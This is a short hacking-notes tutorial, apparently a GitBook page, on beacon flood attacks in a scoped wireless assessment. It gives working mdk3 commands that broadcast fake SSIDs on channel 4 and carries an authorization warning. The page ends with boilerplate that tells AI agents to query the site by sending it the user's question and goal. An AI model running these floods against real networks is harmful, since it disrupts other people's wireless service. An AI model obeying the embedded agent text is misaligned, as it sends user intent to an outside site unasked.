> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/beacon-flood-mode-attack.md).
# Beacon Flood Mode Attack
Analyze the effects of beacon flooding during a scoped wireless assessment.
Access points broadcast beacon frames to advertise wireless networks. Clients use these frames to discover available networks and connect.
A beacon flood broadcasts many fabricated beacon frames on a channel. These frames can advertise multiple network names and consume airtime.
{% hint style="warning" %}
Before running beacon-flood tests, confirm the target channel, affected devices, authorization, and recovery window. The technique can disrupt nearby wireless networks.
{% endhint %}
### Create a network-name list
Create a text file containing test network names:
{% code overflow="wrap" %}
```bash
for i in $(seq 1 10); do echo "whoami$i" >> whoami.txt ;done
```
{% endcode %}
### Broadcast test beacons on a channel
Use `mdk3` to advertise the test network names on channel 4:
{% code overflow="wrap" %}
```bash
mdk3 wlan0mon b -f whoami.txt -a -s 1000 -c 4
```
{% endcode %}
The advertised test networks appear in the client’s available-network list.
### Broadcast without a name list
You can also run the test without specifying a network-name file:
{% code overflow="wrap" %}
```bash
mdk3 wlan0mon b -c 4
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/beacon-flood-mode-attack.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
